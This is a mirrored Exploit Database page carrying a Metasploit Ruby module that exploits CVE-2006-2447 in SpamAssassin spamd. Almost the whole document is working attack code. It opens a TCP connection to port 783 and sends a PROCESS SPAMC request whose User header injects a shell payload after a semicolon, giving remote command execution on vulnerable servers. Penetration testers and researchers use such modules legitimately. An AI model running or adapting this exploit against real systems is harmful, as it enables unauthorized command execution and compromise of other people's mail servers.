SpamAssassin spamd – Remote Command Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16920/

• ##
  # $Id: spamassassin_exec.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SpamAssassin spamd Remote Command Execution',
  			'Description'=> %q{
  					This module exploits a flaw in the SpamAssassin spamd service by specifying
  				a malicious vpopmail User header, when running with vpopmail and paranoid
  				modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
  			},
  			'Author' => [ 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-2447' ],
  					[ 'OSVDB', '26177' ],
  					[ 'BID', '18290' ],
  					[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 1024,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					[ 'Automatic', { }],
  				],
  			'DisclosureDate' => 'Jun 06 2006',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(783)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		content = Rex::Text.rand_text_alpha(20)
  
  		sploit = "PROCESS SPAMC/1.2\r\n"
  		sploit << "Content-length: #{(content.length + 2)}\r\n"
  		sploit << "User: ;#{payload.encoded}\r\n\r\n"
  		sploit << content + "\r\n\r\n"
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end